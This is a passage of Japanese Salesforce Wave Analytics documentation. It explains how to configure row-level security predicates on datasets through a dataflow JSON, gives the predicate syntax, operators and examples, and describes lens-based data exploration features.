の結果、データセットへのアクセス権があればどのユーザでもすべての商談を表示できます。たとえば、Bill

は次のようにマネージャの Keith が所有する商談を含む、すべての商談を表示できます。
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このデータセットのレコードへのアクセス権を制限するには、行レベルセキュリティを適用する必要がありま
す。

データセットの行レベルセキュリティの決定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは行レベルセキュリティについて検討しましょう。このデータセットの
各レコードへのアクセス権をどのように制限するかを決定します。
データセットに次の述語を実装することを決定します。

'ParentRoleIDs' == "$User.UserRoleId" || 'OwnerId' == "$User.Id"

メモ: 現在のデータフローには、「ParentRoleIDs」という名前のデータセット列を作成するロジックが含ま
れていません。ParentRoleIDs は、この情報が含まれる列の名前のプレースホルダです。次のステップでは、
データフローを変更してこの列をデータセットに追加します。この列名は、データフローの設計方法に
基づいて変更されます。

述語に基づいて、Wave Analytics は次のいずれかの場合に商談レコードを返します。
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• クエリを送信するユーザが Salesforce ロール階層では商談所有者の親である。Wave Analytics はこれをロール
ID とロール階層に基づいて判別します。

• データセットに対してクエリを送信するユーザが商談所有者である。
この述語の両方の部分を調べてみましょう。

説明述語の部分

'ParentRoleIDs' == "$User.UserRoleId" • ParentRoleIDs は、ロール階層で商談所有者の上位に
いるすべてのユーザのロール ID のカンマ区切りリ
ストが含まれるデータセット列です。このデータ
セット列は次のセクションで作成します。

• $User.UserRoleId は、User オブジェクトの UserRoleId 列
です。Wave Analytics は、クエリを送信するユーザ
のユーザロール ID を User オブジェクトからルック
アップします。

'OwnerId' == "$User.Id" • OwnerId は、各商談の所有者のユーザ ID が含まれる
データセット列です。

• $User.Id は、User オブジェクトの Id 列です。Wave

Analyticsは、クエリを送信したユーザのユーザ ID を
User オブジェクトからルックアップします。

行レベルセキュリティに基づいたデータフローの変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ここでは、述語を考慮してデータフロー定義ファイルを変更します。
このシナリオでは、述語に基づいてデータフローを変更する必要があります。
• 商談所有者ごとにすべての親のロール ID のカンマ区切りリストを保存する

データセットの列を追加します。前のステップで述語を定義したとき、この
列は一時的に「ParentRoleIDs」と呼ばれていました。この列を追加して、次の
図のようにデータフローを再設計します。
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新しいデータフロー設計には次の変更が含まれます。
– UserRole オブジェクトからロール ID を抽出します。
– flatten 変換を使用して、ユーザごとにすべての親のロール ID のカンマ区切りリストを保存する列を生成

します。前のステップで述語を決定したとき、この列は一時的に「ParentRoleIDs」と呼ばれていました。
– 新しい列を OppRoles データセットにリンクします。

• OppRoles データセットを登録する Register 変換に述語を追加します。
次のようにデータフローを変更します。
{

"Extract_Opportunity": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Extract_User": {

"action": "sfdcDigest",
"parameters": {

"object": "User",
"fields": [

{ "name": "Id" },
{ "name": "Username" },
{ "name": "LastName" },
{ "name": "FirstName" },
{ "name": "Name" },
{ "name": "CompanyName" },
{ "name": "Division" },
{ "name": "Department" },
{ "name": "Title" },
{ "name": "Alias" },
{ "name": "CommunityNickname" },
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{ "name": "UserType" },
{ "name": "UserRoleId" }

]
}

},
"Extract_UserRole": {

"action": "sfdcDigest",
"parameters": {

"object": "UserRole",
"fields": [

{ "name": "Id" },
{ "name": "ParentRoleId" },
{ "name": "RollupDescription" },
{ "name": "OpportunityAccessForAccountOwner" },
{ "name": "CaseAccessForAccountOwner" },
{ "name": "ContactAccessForAccountOwner" },
{ "name": "ForecastUserId" },
{ "name": "MayForecastManagerShare" },
{ "name": "LastModifiedDate" },
{ "name": "LastModifiedById" },
{ "name": "SystemModstamp" },
{ "name": "DeveloperName" },
{ "name": "PortalAccountId" },
{ "name": "PortalType" },
{ "name": "PortalAccountOwnerId" }

]
}

},
"Flatten_UserRole": {

"action": "flatten",
"parameters": {

"multi_field": "Roles",
"parent_field": "ParentRoleId",
"path_field": "RolePath",
"self_field": "Id",
"source": "Extract_UserRole"

}
},
"Augment_User_FlattenUserRole": {

"action": "augment",
"parameters": {

"left": "Extract_User",
"left_key": [

"UserRoleId"
],
"relationship": "Role",
"right": "Flatten_UserRole",
"right_key": [

"Id"
],
"right_select": [

"Roles",
"RolePath"

]
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}
},
"Augment_Opportunity_UserWithRoles": {

"action": "augment",
"parameters": {

"left": "Extract_Opportunity",
"left_key": [

"OwnerId"
],
"right": "Augment_User_FlattenUserRole",
"relationship": "Owner",
"right_select": [

"Name",
"Role.Roles",
"Role.RolePath"

],
"right_key": [

"Id"
]

}
},
"Register": {

"action": "sfdcRegister",
"parameters": {

"alias": "OppRoles",
"name": "OppRoles",
"source": "Augment_Opportunity_UserWithRoles",

"rowLevelSecurityFilter": "'Owner.Role.Roles' == \"$User.UserRoleId\" || 'OwnerId'
== \"$User.Id\""

}
}

}

メモ: この例では、データセットには Owner.Role.Roles および OwnerId という列があります。ユーザは、ア
クセス権を持つ各レコードでこれらの列の値を表示できます。
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データセットの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

データフローをダウン
ロード、アップロード、
実行、監視する
• 「Wave Analytics デー

タフローの編集」

最終的なデータフロー定義ファイルができたので、データセットを作成できま
す。

警告: このサンプル実装の手順を実行する場合、必要な Salesforce オブジェ
クトおよび項目がすべてあることを確認し、本番以外の環境で手順を実行
してください。すでに作成した他のデータセットにこれらの変更が影響を
与えないようにしてください。また、既存のデータフロー定義ファイルの
古いバージョンは取得できないため、ファイルは変更前に必ずバックアッ
プしてください。

データセットを作成するには、次の手順を実行します。
1.

Wave Analytics で、ギアアイコン ( ) をクリックし、[データ監視] を選択し
てデータ監視を開きます。
データ監視のジョブビューがデフォルトで表示されます。

2. [データフロービュー] を選択します。
3. データフローのアクションリスト (1) をクリックし、[ダウンロード]を選択し

て既存のデータフロー定義ファイルをダウンロードします。

4. JSON またはテキストエディタでデータフロー定義ファイルを開きます。
5. 前のステップで決定された JSON を追加します。
6. データフロー定義ファイルを保存する前に、JSON 検証ツールを使用して JSON が有効であることを検証しま

す。
無効な JSON が含まれるデータフロー定義ファイルをアップロードしようとするとエラーになります。JSON

検証ツールはインターネットで見つけることができます。
7. データフロー定義ファイルを保存して閉じます。
8. データ監視のデータフロービューで、データフローのアクションリストをクリックして [アップロード] を

選択します。
9. 更新したデータフロー定義ファイルを選択して [アップロード] をクリックします。
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10. データ監視のデータフロービューで、データフローのアクションリストをクリックして [実行] を選択し、
データフロージョブを実行します。

11. データフロージョブの最新の状況を表示するには、[ジョブを更新] ボタン ( ) をクリックします。
データフロージョブが正常に完了すると、OppRoles データセットを表示できます。

メモ: 以前に作成されたデータセットに述語を追加する場合、述語を有効にするには各ユーザがログアウ
トしてから再度ログインする必要があります。

データセットの行レベルセキュリティのテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

• “”

• “”

熟語が適切に適用され、各ユーザが適切な商談を表示できることを確認する必
要があります。
1. Wave Analytics に Bill としてログインします。
2. OppRoles の商談を開きます。

Bill はマネージャである Keith の商談をもう表示できません。現在 Bill が表示で
きるのは、自分の商談と部下の Tony の商談のみです。

3. ログアウトし、今度は Keith としてログインします。
予想どおり、Keith は引き続きすべての商談を表示できます。
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データセットの述語式の構文
述語式を定義するときには有効な構文を使用する必要があります。
述語式には次の構文を使用する必要があります。
<dataset column> <operator> <value>

たとえば、データセットに対して次の述語式を定義できます。
'UserId' == "$User.Id"

次のように、より複雑な述語式を作成できます。
(‘Expected_Revenue’ > 4000 || ‘Stage Name’ == "Closed Won") && ‘isDeleted’ != "False"

述語式では次の要件を考慮します。
• 式では大文字と小文字を区別します。
• 式は 1,000 文字以下にする必要があります。
• データセット列と演算子の間、演算子と値の間、および論理演算子の前後には 1 文字以上の空白が必要で

す。式 ‘Revenue’>100 は無効です。‘Revenue’ > 100 のように空白が必要です。
データセットに述語を適用しようとして述語が無効な場合、ユーザがデータセットへのクエリを試みるとエ
ラーが表示されます。
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述語式のデータセット列
述語式の一部として少なくとも 1 つのデータセット列を含める必要があります。
述語式の値
述語式内の値は文字列リテラルまたは数値リテラルにできます。Salesforce の User オブジェクトの項目値に
することもできます。
エスケープシーケンス
バックスラッシュ文字 (\) を使用して、述語式内の列名と文字列値の文字をエスケープできます。
文字セットのサポート
Wave Analytics は、述語式のデータセット列名と値で UTF-8 文字をサポートしています。Wave Analytics では、

非 UTF-8 文字が UTF-8 記号 ( ) に置き換えられます。Wave Analytics で述語式の非 UTF-8 文字を置き換える必
要がある場合、ユーザに予期しないクエリ結果が返されることがあります。
特殊文字
Wave Analytics では特定の文字に特殊な意味があります。
演算子
述語式には比較演算子と論理演算子を使用できます。
データセットの述語式の例
サンプルで述語式を作成する方法を確認してください。

述語式のデータセット列
述語式の一部として少なくとも 1 つのデータセット列を含める必要があります。
述語式のデータセット列については、次の要件を考慮します。
• 列名では大文字と小文字が区別されます。
• 列名は単一引用符 (') で囲む必要があります。たとえば、'Region' == "South" のようにします。

メモ: 二重引用符で囲まれた一連の文字は、列名ではなく文字列として扱われます。

• 列名内の単一引用付はエスケープする必要があります。たとえば、'Team\'s Name' == "West Region

Accounts" のようにします。

述語式の値
述語式内の値は文字列リテラルまたは数値リテラルにできます。Salesforce の User オブジェクトの項目値にする
こともできます。
値の種別ごとに次の要件を考慮します。

述語式の例要件値の種別

二重引用符で囲み、二重引用符を
エスケープします。

文字列リテラル • 'Owner' == "Amber"

• 'Stage Name' == "Closed
Won"
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述語式の例要件値の種別

float または long データ型を使用でき
ます。引用符で囲まないでくださ
い。

数値リテラル • 'Expected_Revenue' >=
2000.00

• 'NetLoss' < -10000

User オブジェクトから項目を参照す
る場合は、$User.[field] という構文を

項目値 • 'Owner.Role' ==
"$User.UserRoleId"

使用します。項目の API 名を使用し
ます。
標準項目またはカスタム項目を指
定できます。

• 'GroupID' ==
"$User.UserGroupId__c"

データセットの述語を定義する場
合は、述語式の作成に使用する User

オブジェクトの項目への参照アク
セス権が必要です。
ただし、User オブジェクトに基づく
述語を持つデータセットをユーザ
がクエリする場合、Wave Analyticsは
Insights セキュリティユーザのアク
セス権を使用し、User オブジェクト
に基づいて述語式を評価します。

メモ: デフォルトでは、セ
キュリティユーザには User オ
ブジェクトのカスタム項目に
対するアクセス権はありませ
ん。
セキュリティユーザに項目へ
の参照アクセス権を付与する
には、セキュリティユーザの
ユーザプロファイルでその項
目に項目レベルセキュリティ
を設定します。

エスケープシーケンス
バックスラッシュ文字 (\) を使用して、述語式内の列名と文字列値の文字をエスケープできます。
\' エスケープシーケンスを使用して、列名内の単一引用付をエスケープできます。以下に例を示します。
‘Team\’s Name’ == "West Region Accounts"

文字列値内の特殊文字には、次のエスケープシーケンスを使用できます。
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意味シーケンス

1 つのバックスペース文字\b

改行\n

行頭復帰\r

タブ\t

Ctrl+Z (ASCII 26)\Z

1 つの二重引用符文字\”

1 つのバックスラッシュ文字\\

1 つの ASCII null 文字\0

文字セットのサポート
Wave Analytics は、述語式のデータセット列名と値で UTF-8 文字をサポートしています。Wave Analytics では、非

UTF-8 文字が UTF-8 記号 ( ) に置き換えられます。Wave Analyticsで述語式の非 UTF-8 文字を置き換える必要があ
る場合、ユーザに予期しないクエリ結果が返されることがあります。

特殊文字
Wave Analytics では特定の文字に特殊な意味があります。

説明名前文字

述語式内のデータセット列名を囲
みます。

単一引用符'

述語式の例:

'Expected_Revenue' >=
2000.00

述語式内の文字列値または項目値
を囲みます。

二重引用符"

述語式の例: 'OpportunityOwner'
== "Michael Vesti"

述語式を評価する順序を適用しま
す。

括弧( )

述語式の例:

('Expected_Revenue' > 4000
|| 'Stage Name' == "Closed
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説明名前文字

Won") && 'isDeleted' !=
"False"

述語式内の Salesforce オブジェクト
を識別します。

ドル記号$

メモ: 述語式では User オブ
ジェクトのみ使用できます。

述語式の例:

'Owner.Role' ==
"$User.UserRoleId"

述語式内のオブジェクト名と項目
名を区切ります。

ピリオド.

述語式の例:

'Owner' == "$User.UserId"

演算子
述語式には比較演算子と論理演算子を使用できます。

比較演算子
比較演算子は true または false を返します。
論理演算子
論理演算子は true または false を返します。

比較演算子
比較演算子は true または false を返します。
Wave Analytics では、次の比較演算子を使用できます。

説明名前演算子

オペランドが等しい場合は true。「== (次の文字列と一致する)」演算子を使用
する文字列比較では、大文字と小文字が区別されます。

Equals==

述語式の例:

'Stage Name' == "Closed Won"

オペランドが等しくない場合は true。「!= (次の文字列と一致しない)」演算子
を使用する文字列比較では、大文字と小文字が区別されます。

Not equals!=
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説明名前演算子

述語式の例:

'isDeleted' != "False"

左のオペランドが右のオペランドより小さい場合は true。Less than<

述語式の例:

'Revenue' < 100

左のオペランドが右のオペランド以下の場合は true。Less or equal<=

左のオペランドが右のオペランドより大きい場合は true。Greater than>

左のオペランドが右のオペランド以上の場合は true。Greater or equal>=

複数値選択リストに代入される文字列 (項目値) のリストに左のオペランドが存
在する場合は true。

複数値リストの検
索条件

in

述語式の例:

'Demog' in ["$User.Demographic__c"]

この例では、Demographic__cは multiPicklistField型です。評価時に、
複数値選択リスト項目は、ユーザ選択項目ごとに 1 つの文字列で構成される文
字列リストで置き換えられます。

メモ: 角括弧内では、カンマ区切りのリストはサポートされていません。

<、<=、>、および >= 演算子は基準列でのみ使用できます。

論理演算子
論理演算子は true または false を返します。
Wave Analytics では、次の論理演算子を使用できます。

説明名前演算子

両方のオペランドが true の場合は
true。

論理 AND&&

述語式の例:

'Stage Name' == "Closed Won" &&
'isDeleted' != "False"

いずれかのオペランドが true の場合
は true。

論理 OR||

述語式の例:
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説明名前演算子

'Expected_Revenue' > 4000 || 'Stage Name'
== "Closed Won"

データセットの述語式の例
サンプルで述語式を作成する方法を確認してください。
サンプルは次の Opportunity データセットに基づいています。

IsDeletedStage_NameOwnerRoleID所有者Expected_RevOpportunity

Trueコンタクト20Bill2000.00OppA

False商談成立22Joe3000.00OppB

False商談成立36可爱的花1000.00OppC

Trueコンタクト18O'Fallon5000.00OppD

True商談成立22JoeOppE

述語式の作成方法を理解するために、いくつか例を見てみましょう。

詳細述語式

User オブジェクトの列値をチェックします。'OwnerRoleID' == "$User.UserRoleId"

'Expected_Rev' > 1000 && 'Expected_Rev' <=
3000

'Owner' = "Joe" || 'Owner' = "Bill"

括弧で操作の順序を指定します。('Expected_Rev' > 4000 || 'Stage Name' ==
"Closed Won") && 'isDeleted' != "False"

'Stage Name' == "Closed Won" &&
'Expected_Rev' > 70000

文字列に Unicode 文字が含まれています。'Owner' == "可爱的花"

文字列内の単一引用符にはエスケープ文字が必要で
す。

'Owner' == "O\’Fallon"

空の文字列がないかチェックします。'Stage Name' == ""

データセット
データセットとは、非正規化され、高度に圧縮された形式で保存された関連データのコレクションです。デー
タセットの作成には複数の方法があります。作成したデータセットを編集することもできます。
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ヒント: すべての登録済みデータセットで最大行数の制限 (2 億 5,000 万) に達しないようにするには、使用
していないデータセットを削除してください。

関連トピック:

外部データを使用したデータセットの作成
データセットの編集
データセットの削除

データ監視
データ監視では、ジョブを管理するためのオプションを利用できます。

関連トピック:

データフローの開始と停止
データフローの再スケジュールとスケジュール解除
データフロージョブの監視
外部データアップロードの監視

データマネージャ
データマネージャは、すべてのジョブとデータフローの監視、複製の表示と編集、レシピを使用したデータの
準備を行う場所です。

Wave Analyticsでデータマネージャを開くには、ギアアイコン ( ) をクリックし、[データマネージャ]をクリッ
クします。
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レシピ、複製、およびその他のデータフロージョブの進行状況を確認できる [監視] タブが表示されます。複製
を有効にすると、[取り込む] タブで複製を有効にした Salesforce オブジェクトの設定の表示と更新ができます。
[準備する] タブに移動し、データセットレシピを作成および管理します。

関連トピック:

複製を使用したデータフローの最適化
データ監視

外部データ
外部データをWave Analyticsに統合すると、エクスプローラやデザイナからデータをクエリできるようになりま
す。

外部データ API を使用すると、外部データファイルをWave Analyticsにアップロードできます。外部データ API で
は、.csv ファイルをアップロードできます。また、必要に応じて、JSON 形式でメタデータを定義することで
データの構造を指定できます。
外部データ API は、API バージョン 31 以降で使用できます。
API を使用して外部データをアップロードする概要手順は、次のとおりです。
1. CSV 形式でデータを準備し、メタデータファイルを作成してデータの構造を指定します。
2. Salesforce 組織にプログラムで接続します。
3. InsightsExternalData オブジェクトに 1 行を挿入し、データセットの名前、データの形式、データに対して実行

する操作などの入力値を定義して、アップロードを設定します。
4. データを 10 MB のチャンクに分割し、チャンクを InsightsExternalDataPart オブジェクトにアップロードします。
5. アップロードを開始するには、InsightsExternalData オブジェクトの Action 項目を更新します。
6. InsightsExternalData オブジェクトの状況の更新を監視し、ファイルのアップロードが正常に行われたことを確

認します。

データの探索と視覚化
膨大なビジネスデータを取捨選択するとき、自分が探しているものがはっきりとわかっている場合がありま
す。わからない場合でも、探しているものを見れば見分けることができます。Salesforce  Wave Analyticsでは、高
速かつ柔軟な方法でデータから説得力のあるストーリーを発見し、適切に視覚化することでストーリーを伝え
ることができます。
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データがアップロードされたら、自由に探索します。対話型の視覚化インターフェースを使用してデータをド
リルスルーします。ビジネスを変革する可能性がある、思いもよらない洞察が浮かび上がることがあります。
そこで Wave Analytics を使用し、洗練されたデザインで多彩な情報を伝える動的なグラフを作成します。

データの対話型の探索と視覚化
データの探索は反復プロセスです。通常は、表示、探索、絞り込み、保存、共有というステップが含まれ
ます。
Wave Analytics のデータのコレクション
Wave はデータセット、レンズ、ダッシュボード、アプリケーションのデータを収集して整理します。これ
らのコレクションは「Wave アセット」とも呼ばれ、ソースシステムでアップロードされた未加工データか
ら、厳選されパッケージ化されたデータビューに至るまで、さまざまなレベルで絞り込まれたデータを表
します。
データ探索の概念
データの探索および視覚化方法を習得するときには、併せて視覚化、基準、ディメンションのような主要
な概念を確認すると役に立ちます。
データの探索
エクスプローラツールを使用し、対話型でデータを探索および視覚化して、思いもよらない洞察を明らか
にできるかを確認してみましょう。
視覚化のコピー
視覚化を新しいタブにコピーして作成することで、元の視覚化は元のタブに保存し、新しいタブで探索を
続行できます。
視覚化の保存
視覚化をレンズとして保存します。
視覚化の共有
視覚化を同僚と共有するには、Chatterへの投稿、一意の URL の取得、スクリーンショットのダウンロード、
絞り込まれたデータのダウンロードといった方法があります。Chatter 投稿では、画像と、Wave Analyticsのア
セット (レンズ、ダッシュボード、アプリケーション) へのリンクが提供されます。同僚は、アセットへの
リンクとアクセス権があれば、表示される情報をドリルダウンして探索できます。アセットへのアクセス
権を付与せずに共有するには、ダウンロードオプションを使用します。
視覚化の画像ファイルとしてのエクスポート
現在の視覚化をエクスポートし、画像ファイルとして保存できるようにします。

データの対話型の探索と視覚化
データの探索は反復プロセスです。通常は、表示、探索、絞り込み、保存、共有というステップが含まれま
す。
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• 表示 — データセットを表示します。
• 探索 — データの境界と全体像を把握します。さまざまなビューを試したり、ズームイン/アウトしたり、

多様なグラフオプションでどのような情報が得られるかを確認したりできます。
• 絞り込み — ビューを最も重要なデータに絞り込みます。同僚が最も理解しやすい詳細レベルとカテゴリを

決定します。最も適切なグラフの視覚化を選択します。
• 保存 — 作業結果を保存します。
• 共有 — ビューを他のユーザと共有します。よりパッケージ化した表示にするために、視覚化を使用して

ダッシュボードを作成します。

Wave Analytics のデータのコレクション
Wave はデータセット、レンズ、ダッシュボード、アプリケーションのデータを収集して整理します。これら
のコレクションは「Wave アセット」とも呼ばれ、ソースシステムでアップロードされた未加工データから、
厳選されパッケージ化されたデータビューに至るまで、さまざまなレベルで絞り込まれたデータを表します。
• データセットには、対話型の探索ができるように特別に形式が設定され、最適化されたソースデータのセッ

トが含まれます。
• レンズは、データセットのデータの特定のビューです。ここで探索の分析と視覚化を行います。
• ダッシュボードは、1 つ以上のレンズでデータに基づいて選ばれたグラフ、総計値、テーブルのセットで

す。
• アプリケーションには、ダッシュボード、レンズ、およびデータセットが、データ分析を同僚と共有する

ために妥当な任意の組み合わせで含まれます。アプリケーションでは、フォルダのように、ユーザのデー
タプロジェクト (非公開と共有の両方) を整理して共有を制御できます。

データ探索の概念
データの探索および視覚化方法を習得するときには、併せて視覚化、基準、ディメンションのような主要な概
念を確認すると役に立ちます。
視覚化とは、一般的に棒グラフ、ドーナツグラフ、時系列図、ヒートマップなどのチャートやグラフです。比
較表やピボットテーブルなど、表形式のデータにすることもできます。どの視覚化にも基礎となるクエリがあ
り、Wave Analytics はこれらのクエリを使用してソースデータから情報を取得します。
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基準は、収益や換算レートなど、定量的な値です。総収益や最小換算レートの計算など、基準に対して算術処
理ができます。基準には名前 (収益) と値 (100 万ドル) があります。Wave Analyticsでグラフの視覚化を表示してい
るときには、次の点に注意してください。
• グラフに表示されるのは、何らかの数または金額に基づいたデータのスライスか、表形式データです。
• 基準は通常、何らかの方法で集計されます。つまり、何らかの計算がすでに適用された状態で表示されま

す。たとえば、最初にデータセットを表示するときには、行数のカウントなど、単純な集計が表示される
ことがよくあります。探索し、基準を変更または追加しながら別の方法 (合計、平均、最大値など) で集計
ができますが、集計方法は基準を選択するときに常に指定します。

• 基準は、その位置 (レンズの左上隅の左端にある項目) と集計方法を示すテキスト (「収益合計」など) で識
別できます。

警告: 基準を集計するクエリ (sum や group by など) を実行し、結果の値が数値項目の最大数
(36,028,797,018,963,967) を超えた場合、値はオーバーフローして Wave Analytics は不正確な結果を返します。

ディメンションは、地域、製品名、モデル番号など、定性的な値です。ディメンションは、データのグループ
化や絞り込みに便利です。基準と異なり、ディメンションで計算を行うことはできません。基準と同様、ディ
メンションにも名前 (地域) と値 (北東) があります。通常、時間は基準ではなくディメンションとみなされま
す。

データの探索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

エクスプローラツールを使用し、対話型でデータを探索および視覚化して、思
いもよらない洞察を明らかにできるかを確認してみましょう。

レンズ内のデータの表示
探索モードでは、データはレンズで表示されます。レンズは、データセット
のデータの表示方法であり、データをグラフィカルに探索する場所であり、
ダッシュボードを作成するための基礎でもあります。
データのカテゴリへのグループ化
データをグループ化して整理し、扱いやすいカテゴリ別に表示されるように
します。たとえば、営業サイクルの季節パターンを見つけるために、商談
データを成立した月でグループ化します。
データの絞り込み
レンズで条件を適用してグラフを整理し、事業単位、プロジェクト、または
経営陣にとって最も関連性のあるデータのサブセットに焦点を絞ります。た
とえば、特定の会計年度に限定して視覚化します。
並び替え順の変更
グラフ視覚化のデータの並び替え順として昇順、降順、並び替えなしのいず
れかを選択します。
グラフの種類の変更
グラフの種類を切り替えて、どの視覚化オプションがデータについて最も説得力のあるストーリーを伝え
るかを確認します。
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基準の変更
選択した基準によって視覚化全体が定義され、探索範囲が決まります。たとえば、基準と集計方法を「商
談数」から「金額合計」に変更します。次に、2 つ目の基準を追加し、2 つの視覚化を横に並べて表示しま
す。
グラフのスケールの変更
グラフのスケールを変更します。たとえば、対数スケールを適用します。使用可能なオプションは、グラ
フの種類に応じて異なります。
比較テーブル列の操作
クリックやキーストロークを使用して、新しい列の作成や既存の列間の移動を行います。
比較テーブルを使用した計算列の作成
比較テーブルを使用して、データの列でカスタム数式を定義できます。基準を横に並べて表示し、テーブ
ルの列と行を対象に計算を実行できます。
比較テーブルで使用できるウィンドウ関数
比較テーブルの関数メニューでは、便利なウィンドウ関数への UI ベースのアクセスが提供されるため、SAQL

でそれらを記述する時間を節約できます。関数を選択したら、生成された SAQL を数式エディタで編集でき
ます。
履歴を使用した前の表示初期ビューへの復帰
データを探索していくと、多くのパスにつながる場合があります。すべてのパスが有益であるとは限りま
せんが、それでも問題ありません。エクスプローラは、レンズにユーザの活動の全履歴を保持しています。
レンズを不適切な方法で変更した場合や、その効果的なアニメーションをもう一度見るだけの場合は、履
歴を使用してすぐに以前の状態の視覚化まで戻すことができます。ダッシュボードの元の状態に戻る場合
や、その効果的なアニメーションをもう一度見るだけの場合は、リセットオプションを使用してすばやく
初期ビューに戻ることができます。
ブラウザのクリップボードを使用したコピーおよび貼り付けによるグループと条件の適用
データセットの探索中、異なるグルーピングを試したり、別の角度で焦点を絞ったりと、複数の方向に進
むことがあります。レンズ内を直線的に探索し、履歴ツールを使用して過去に戻ってから新しい方向に分
岐するのではなく、同じデータセットを複数の Wave Analytics タブで開くことで、同時に複数の方向を探索
できます。その後、エクスプローラのコピーと貼り付けツールを使用して、特定のグルーピングと条件を
タブ間で複製できます。
レンズのバックグラウンドでのクエリの表示
Wave Analytics は、レンズおよびダッシュボードのバックグラウンドで Salesforce Analytics Query Language (SAQL)

を使用して視覚化のためのデータを収集します。SAQL ビューアを開き、探索時に記述される基礎の SAQL ク
エリを参照したり、そのクエリをコピーして他で使用したりできます。
ダッシュボードへのレンズのクリップ
ダッシュボードにレンズを含めるには、レンズをクリップします。レンズをクリップすると、最後に使用
されたダッシュボードにクエリがステップとして追加されます。ダッシュボードが開いていない場合は、
Wave ダッシュボードデザイナの新しいダッシュボードにステップが追加されます。デザイナにステップを
追加した後、それをダッシュボード内のウィジェットに適用できます。ウィジェットはレンズの視覚化設
定を上書きします。つまり、クエリの結果を表示する方法はウィジェットによって決定されます。
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レンズ内のデータの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

探索モードでは、データはレンズで表示されます。レンズは、データセットの
データの表示方法であり、データをグラフィカルに探索する場所であり、ダッ
シュボードを作成するための基礎でもあります。
1. ホームページから、データセットまたはレンズをクリックします。

新しいタブでレンズが開きます。たとえば、次のレンズは、商談データセッ
トの行数を表示する棒グラフとして開きます。
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データのカテゴリへのグループ化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

データをグループ化して整理し、扱いやすいカテゴリ別に表示されるようにし
ます。たとえば、営業サイクルの季節パターンを見つけるために、商談データ
を成立した月でグループ化します。
1. [グループ] ボタンをクリックします。

2. 検索ボックスを使用して、グループ化単位にする次元 (「完了予定日」など)

の最初の数文字を入力します。
データの次元によってグループ化単位として使用できるカテゴリが決まりま
す。

3. [完了予定日] 行にマウスポインタを置きます。右側に表示される [スケール] ボタンをクリックします。

4. [カレンダー日付のスケール] リストで、[月] をクリックします。

棒グラフの棒が 1 つから複数に変わり、成立年月で別個にグループ化されたデータが表示されます。
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メモ: ディメンションがグループ化されていると、そのディメンションの null のレコードは結果から除
外されるため、レンズの行数に影響します。null のディメンションレコードが除外されないようにす
るには、それらのレコードにデフォルト値を割り当てます。

5. 積み上げグルーピングという 2 次グルーピングを追加するには、[グループ]ボタンをクリックします。検索
ボックスを使用して [StageName] 次元を見つけ、選択します。
この時点では、グループを追加するだけです。[絞り込み条件] ボタンをクリックした場合は、グループと
条件が追加されています。

視覚化が変更されて、両方の次元でグループ化されたデータが表示されます。最後のサブグループのエン
トリにカテゴリごとの色が割り当てられ、色の凡例が右側に表示されます。レンズには最大 4 個のグルー
ピングを設定できます。
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データの絞り込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

レンズで条件を適用してグラフを整理し、事業単位、プロジェクト、または経
営陣にとって最も関連性のあるデータのサブセットに焦点を絞ります。たとえ
ば、特定の会計年度に限定して視覚化します。
1. [絞り込み条件] をクリックします。

[条件を追加] ダイアログボックスの上部に、基準、次元の順でリストされま
す。

2. [会計年度] 次元を選択します。
会計年度の値が表示されます。
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3. [2012] と [2013] を選択し、[追加] をクリックします。検索ボックスを使用して条件に適用する値を見つける
場合、大文字と小文字が区別されることに留意してください。
適用した条件が [絞り込み条件] ボタンの横に表示されます。

グラフの視覚化が変更されて 2012 および 2013 会計年度のデータが表示されます。
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並び替え順の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

グラフ視覚化のデータの並び替え順として昇順、降順、並び替えなしのいずれ
かを選択します。
1. [オプション] ボタンをクリックします。

2. ダイアログボックスで、[昇順] (昇順に並び替え済み)、[降順] (降順に並び替え
済み)、[オフ] (並び替えなし) のいずれかを選択します。

グラフの種類の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

グラフの種類を切り替えて、どの視覚化オプションがデータについて最も説得
力のあるストーリーを伝えるかを確認します。
1. [グラフの種類を変更] ボタンをクリックします。

このレンズで使用できる各種グラフのギャラリーが表示されます。
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2. グラフの種類上にマウスポインタを置き、その種類の視覚化に必要な基準とディメンションの数を確認し
ます。
